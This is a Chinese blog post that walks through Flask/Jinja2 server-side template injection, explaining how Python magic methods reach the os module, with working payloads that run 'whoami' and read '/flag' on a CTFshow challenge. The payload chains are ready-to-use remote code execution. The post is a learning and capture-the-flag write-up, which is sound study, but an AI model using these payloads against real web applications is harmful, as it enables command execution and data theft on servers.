从SSTI模板注入到内存马

又是逃课的一天,(挂着网课来写博客)

内存马的概念经常被提到,HW面试,还是校招都有问到,之前接触不是很多,总结一波。

目前 SSTI 都是基于Flask环境下去复现的提到SSTI就必须了解一些魔术方法

image-20220910153326416

payload

在SSTI中我们要做的就两个:

  • 执行命令
  • 获取文件内容

所以我们要做的实际上就是实现这两种效果

这里我写一个payload 可见只穿payload执行了whoami命令,那么我们要来分析一下这串payload为什么可以成功执行命令。

1
2
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'

魔术方法

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的所有类,方法在解析时按照元组的顺序解析。
  • __bases__:以元组的形式返回一个类所直接继承的类。根类
  • __base__:以字符串形式返回一个类所直接继承的类。根类
  • __subclasses__:返回 type 对象方法
  • __init__:类的初始化方法 (构造方法)
  • __globals__:函数会以字典类型返回当前位置的全部全局变量

继承关系

Python万物皆对象,而class用户返回该对象所属的类,比如字符串的对象为字符串对象,所属的类为<class 'str'>

image-20220909145047665

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

<class 'str'>类又属于 <class 'type'>

image-20220909150002179

接下来我们可以通过bases或者mro来获取到object基类。

<class 'object'>相当于整个树的跟

image-20220909153204537

然后可以从这个根对象下去寻找其他子类

漏洞利用

接下来我们看一下 base后的子类都有什么。

1
print(''.__class__.__base__.__subclasses__())

image-20220909154331900

有点多我们统计一下长度

1
2
3
>>> c = ''.__class__.__base__.__subclasses__()
>>> len(c)
174

在我的环境中子类有174个,整理格式查看下子类详情如下

1
2
3
>>> for i in range(174):
... print(i, c[i].__name__)
...

image-20220909205401515

遍历查找带有warning的子类

1
2
3
4
5
6
7
8
>>> for i in range(174):
... n = c[i].__name__
... if n.find('warning') > -1:
... print(i,n)
...
134 catch_warnings
>>> print(''.__class__.__base__.__subclasses__()[134])
<class 'warnings.catch_warnings'>

至于为什么找 warnings咱们后面说

image-20220909212128337

在Python中 有了__init__方法,在调用类的时候,会首先调用__init__ 方法。

1
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__

加上__globals__ 返回当前位置所有全局变量

1
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__

把全局变量粘贴到文本文档里方便查看 发现了全局变量sys

image-20220909213445017

到这里我们就属于一步步找到了sys模块

sys.modules 用于返回当前已导入(加载)的所有模块名和模块对象

·sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块

程序在导入某个模块时,会首先查找sys.modules中是否包含此模块名,包含的话python会直接到字典中查找,从而加快了程序运行的速度,若不存在则找到后将模块加载到内存`

modules['os'] 将os加载到当前内存

1
2
>>> import sys
>>> print(sys.modules)
1
2
3
4
5
6
7
>>> import sys
>>> test = sys.modules["os"]
>>> test.popen("whoami")
<os._wrap_close object at 0x1036473c8>
>>> test.popen("whoami").read()
'sch0lar\n'
>>>

大致利用链是这样的,但是很多时候并不固定,不一定要找warnings.catch_warnings子类,只要子类里导入了sys os等可执行命令的模块都可以,思路都差不多

1
2
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'

CTFshow

演示几道CTFshow上面SSTI的题目

1
http://fe492b04-95e1-4b73-844c-9a3e627842fc.challenge.ctf.show/?name={{%27%27.__class__.__base__.__subclasses__()[1].__init__.__globals__}}

初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用__init__.__globals__来看看有没有os module或者其他的可以读写文件的。我们抓包遍历这个1-400查找有无可进行命令执行的子类。

img

位置在132的子类已经导入了os模块,既然导入了os模块,我们也就可以执行命令了

查看一下子类详情

1
name={{%27%27.__class__.__base__.__subclasses__()[132]}}

image-20220910095918316

发现它属于os模块,既然他是os模块里面的类那我们就不用那么麻烦了。

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

image-20220910100445218

我们本地打开os模块看一看

image-20220910100558512

可见也 import 了sys模块,我们也可以用如下payload

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}}

不过显然没这个必要。